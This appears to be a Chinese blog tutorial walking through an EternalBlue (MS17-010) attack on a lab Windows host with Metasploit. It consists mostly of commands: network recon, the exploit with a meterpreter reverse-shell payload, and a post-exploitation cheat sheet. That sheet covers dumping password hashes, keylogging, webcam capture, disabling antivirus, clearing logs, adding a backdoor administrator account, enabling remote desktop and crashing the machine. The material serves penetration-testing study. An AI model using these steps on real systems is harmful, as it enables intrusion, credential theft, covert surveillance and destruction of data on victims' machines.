永恒之蓝漏洞 ms17_010 详解

永恒之蓝 ms 17_010

1.漏洞介绍

永恒之蓝(ms17-010)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。

1.1 影响版本

目前已知受影响的 Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。

1.2 漏洞原理

通过向Windows服务器的SMBv1服务发送精心构造的命令造成溢出,最终导致任意命令的执行。在Windows操作系统中,SMB服务默认是开启的,监听端口默认为445,因此该漏洞造成的影响极大。

2.信息收集

2.1 主机扫描

arp-scan -l

image-20231025212952229

2.2 端口扫描

nmap -O -sS -T4 192.168.160.52

说明:

  • -O:这个选项告诉Nmap进行操作系统识别。它会尝试通过分析目标主机的网络行为和响应来猜测其运行的操作系统类型。
  • -sS:这个选项启用了TCP SYN扫描(也称为半开放扫描)。在进行端口扫描时,Nmap发送一个TCP SYN包到目标主机上的每个目标端口,如果收到了一个SYN/ACK响应,说明该端口是打开的。
  • -T4:这个选项设置了扫描的速度/时间模板。T4是Nmap的默认设置之一,表示较高的扫描速度和更少的等待时间。

image-20231025213432416

3. 漏洞探测

msfconsole
# 搜寻模块
search ms17-010

image-20231025213531757

# 使用第三个模块
use 3
# 查看该漏洞模块的具体介绍信息
info

image-20231025213749279

show missing # 查看需要配置哪些信息

image-20231025213854067

这里需要配置远程主机的IP地址,也就是靶机的IP地址。

set rhosts 192.168.160.52

image-20231025214110486

使用show options选项,查看我们要输入的具体参数,其中标注了yes的选项是必须的参数,若这个参数为空,则需要我们填写。

show options 

image-20231025214154262

开始攻击:

run

image-20231025214327576

显示该主机很可能能够会受到永恒之蓝漏洞的攻击。

4. 漏洞利用

search ms17-010

image-20231025214515861

设置payload连接的方式,reverse_tcp为反向连接,即受害机主动连接攻击机,以获取shell。

set payload windows/x64/meterpreter/reverse_tcp

image-20231025214921034

设置攻击目标

set rhosts 192.168.160.52
run

image-20231025215127969

拿下该主机的shell,执行cmd命令。

在这里可以进行文件上传下载,获取截屏,获取密码,使用摄像头拍照,后门持久化等操作。

5.后渗透阶段

运行了run(exploit)命令之后,我们开启了一个reverse TCP监听器来监听本地的 4444 端口,即攻击者的本地主机地址(LHOST)和端口号(LPORT)。

在meterpreter > 中我们可以使用以下的命令来实现对目标的操作:
sysinfo             #查看目标主机系统信息
run scraper         #查看目标主机详细信息
hashdump        #导出密码的哈希
load kiwi           #加载
ps                  #查看目标主机进程信息
pwd                 #查看目标当前目录(windows)
getlwd              #查看目标当前目录(Linux)
search -f *.jsp -d e:\                #搜索E盘中所有以.jsp为后缀的文件
download  e:\test.txt  /root          #将目标机的e:\test.txt文件下载到/root目录下
upload    /root/test.txt d:\test      #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid              #查看当前Meterpreter Shell的进程
PIDmigrate 1384     #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime            #查看主机运行时间
getuid              #查看获取的当前权限
getsystem           #提权
run  killav         #关闭杀毒软件
screenshot          #截图
webcam_list         #查看目标主机的摄像头
webcam_snap         #拍照
webcam_stream       #开视频
execute  参数  -f 可执行文件   #执行可执行程序
run getgui -u hack -p 123    #创建hack用户,密码为123
run getgui -e                #开启远程桌面
keyscan_start                #开启键盘记录功能
keyscan_dump                 #显示捕捉到的键盘记录信息
keyscan_stop                 #停止键盘记录功能
uictl  disable  keyboard     #禁止目标使用键盘
uictl  enable   keyboard     #允许目标使用键盘
uictl  disable  mouse        #禁止目标使用鼠标
uictl  enable   mouse        #允许目标使用鼠标
load                         #使用扩展库
run				             #使用扩展库
clearev                       #清除日志

示例:

查看主机系统信息

sysinfo

image-20231025220543217

查看IP地址信息:

ipconfig

image-20231025223621940

查看用户身份

getuid

image-20231025215221261

获得shell控制台

shell

image-20231025220730312

如果乱码受不了的话,输入:chcp 65001 即可:

image-20231025220840596

下面的模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。

run post/windows/manage/migrate                  #自动进程迁移     
run post/windows/gather/checkvm                  #查看目标主机是否运行在虚拟机上     
run post/windows/manage/killav                   #关闭杀毒软件     
run post/windows/manage/enable_rdp               #开启远程桌面服务     
run post/windows/manage/autoroute                #查看路由信息     
run post/windows/gather/enum_logged_on_users     #列举当前登录的用户     
run post/windows/gather/enum_applications        #列举应用程序     
run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码     
run windows/gather/smart_hashdump                #dump出所有用户的hash

示例:

获取用户密码

run windows/gather/smart_hashdump 或者 hashdump

image-20231025221332859

image-20231025221356217

5.1创建新的管理员账户

进入shell控制台

image-20231025221513980

在目标主机上创建一个名为ghui的用户,密码为123456

image-20231025221623423

将ghui加入到windows 7的本地管理员组中,以便获得更大权限

net localgroup administrators ghui /add

image-20231025222313443

查看本地用户

net user

image-20231025222352832

查看本地管理员

net localgroup administrators

image-20231025222501204

可以看到ghui已经被添加到windows管理员组中。

5.2开启远程桌面

运用getuid脚本开启目标主机远程桌面:

run getgui -e或者run post/windows/manage/enable_rdp

image-20231025222838315

在kali终端输入

rdesktop 192.168.160.52

image-20231025223038965

选择其他用户:

image-20231025223109927

登录之前创建得ghui用户,密码123456:

image-20231025223320461

5.3蓝屏攻击

最后一步,让它蓝屏:

taskkill /f /fi "pid ne 1"

解释:

taskkill 用于终止运行中的进程,表示杀进程。
/f 是一个参数,表示强制终止进程。
/fi 是一个参数,用于指定进程过滤器(filter)。
"pid ne 1" 是一个过滤器表达式,用于筛选进程。在这个例子中,pid 代表进程的 ID(PID),ne 表示不等于,1 是要排除的进程 ID。换句话说,这个命令会终止除了进程 ID 为 1(通常是系统进程)之外的所有进程。

执行结果:

image-20231025223519261

  • 7
    点赞
  • 45
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值